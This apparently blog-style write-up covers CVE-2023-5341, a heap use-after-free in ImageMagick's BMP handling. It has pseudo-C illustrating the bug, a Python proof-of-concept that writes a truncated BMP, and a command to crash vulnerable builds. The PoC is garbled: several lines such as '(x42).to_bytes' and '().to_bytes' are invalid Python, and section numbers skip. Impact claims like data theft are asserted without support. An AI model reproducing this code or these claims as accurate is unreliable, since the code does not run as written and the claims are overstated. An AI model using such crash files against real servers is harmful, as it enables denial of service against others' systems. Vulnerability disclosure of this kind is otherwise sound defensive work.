ImageMagick is the engine behind image conversion and processing on millions of servers and desktops. But in October 2023, a serious bug surfaced in the way ImageMagick handles BMP (“Bitmap”) files. Known as CVE-2023-5341, this vulnerability can lead to a classic — and very dangerous — heap use-after-free, with potential for code execution or denial of service. In this post, we break down how this bug works, show a real exploit example, and link to official information.

1. What is CVE-2023-5341?

A heap use-after-free flaw occurs when a program uses memory *after* it has been freed. This can corrupt data, cause a crash, or let an attacker run their own code.

In ImageMagick 7.1.1-27 and before, coders/bmp.c incorrectly handled freeing and reusing heap memory when processing legitimately crafted BMP files. A specially-crafted file could trick the software into freeing memory and then using it again — with unpredictable consequences.

2. Where is the Vulnerability?

The root cause is in the BMP coder (coders/bmp.c). When BMP files are loaded, ImageMagick reads headers and allocates buffers to store image data. If a BMP file ends prematurely or has crafted structure fields, ImageMagick tries to clean up, but accidentally uses a buffer after freeing it.

Here’s a simplified pseudo-C code (not the real thing!) that highlights the general problem

// Imagine we're reading BMP image data into 'image_data'
unsigned char *image_data = malloc(data_size);
if (!image_data) {
    // handle error
}
// ... reading pixel data into image_data ...
if (bad_header) {
    free(image_data);       // cleanup on error
    // ... some code skipped ...
    process(image_data);    // <-- Oops! image_data is already freed!
}

In coders/bmp.c, after certain error conditions, the memory was freed but then used again, leading to use-after-free.

Severity: High

Anyone who submits images (especially BMPs) to a web service or app using a vulnerable ImageMagick build can:

Steal data or compromise image contents

This flaw is easily exploitable if you allow uploads of BMP files.

Here’s a basic proof-of-concept BMP that triggers the bug and crashes older ImageMagick

# bmp-exploit.py
with open('exploit.bmp', 'wb') as f:
    # BMP header (14 bytes)
    f.write(b'BM')                           # Signature
    f.write((x42).to_bytes(4, 'little'))    # File size (small)
    f.write(().to_bytes(4, 'little'))       # Reserved
    f.write((x36).to_bytes(4, 'little'))    # Pixel data offset

    # DIB header (40 bytes)
    f.write((40).to_bytes(4, 'little'))      # DIB header size
    f.write((1).to_bytes(4, 'little'))       # Width: 1
    f.write((1).to_bytes(4, 'little'))       # Height: 1
    f.write((1).to_bytes(2, 'little'))       # Planes
    f.write((24).to_bytes(2, 'little'))      # Bits per pixel
    f.write(().to_bytes(4, 'little'))       # Compression
    f.write(().to_bytes(4, 'little'))       # Image size (zero)
    f.write(().to_bytes(4, 'little'))       # X pixels per meter
    f.write(().to_bytes(4, 'little'))       # Y pixels per meter
    f.write(().to_bytes(4, 'little'))       # Colors in palette
    f.write(().to_bytes(4, 'little'))       # Important colors

    # No pixel data included -- incomplete image, will trigger error path

Try running this on an affected version with

convert exploit.bmp output.png

Watch for a crash or segmentation fault.

*Note: actual code execution depends on heap layout and may require further heap grooming.*

5. References & Official Fix

- CVE-2023-5341 NVD entry
- ImageMagick GitHub security advisories
- Upstream fix commit (ImageMagick PR #6755)

Patch Status:
Fixed in ImageMagick 7.1.1-28 and later.

Don’t process untrusted BMP files from uploads until you’re patched.

- Use sandboxing (like policy.xml resource limits) and run as non-root, just in case.

7. Conclusion

CVE-2023-5341 is a classic example of how dangerous memory management bugs can be in image libraries — especially those handling user input. Patch now, review upload file types, and keep your dependencies up to date. Stay safe!


*If you want a demonstration or to discuss the technical details, reach out or check out the official ImageMagick advisory.*

Timeline

Published on: 11/19/2023 10:15:49 UTC
Last modified on: 12/01/2023 18:01:53 UTC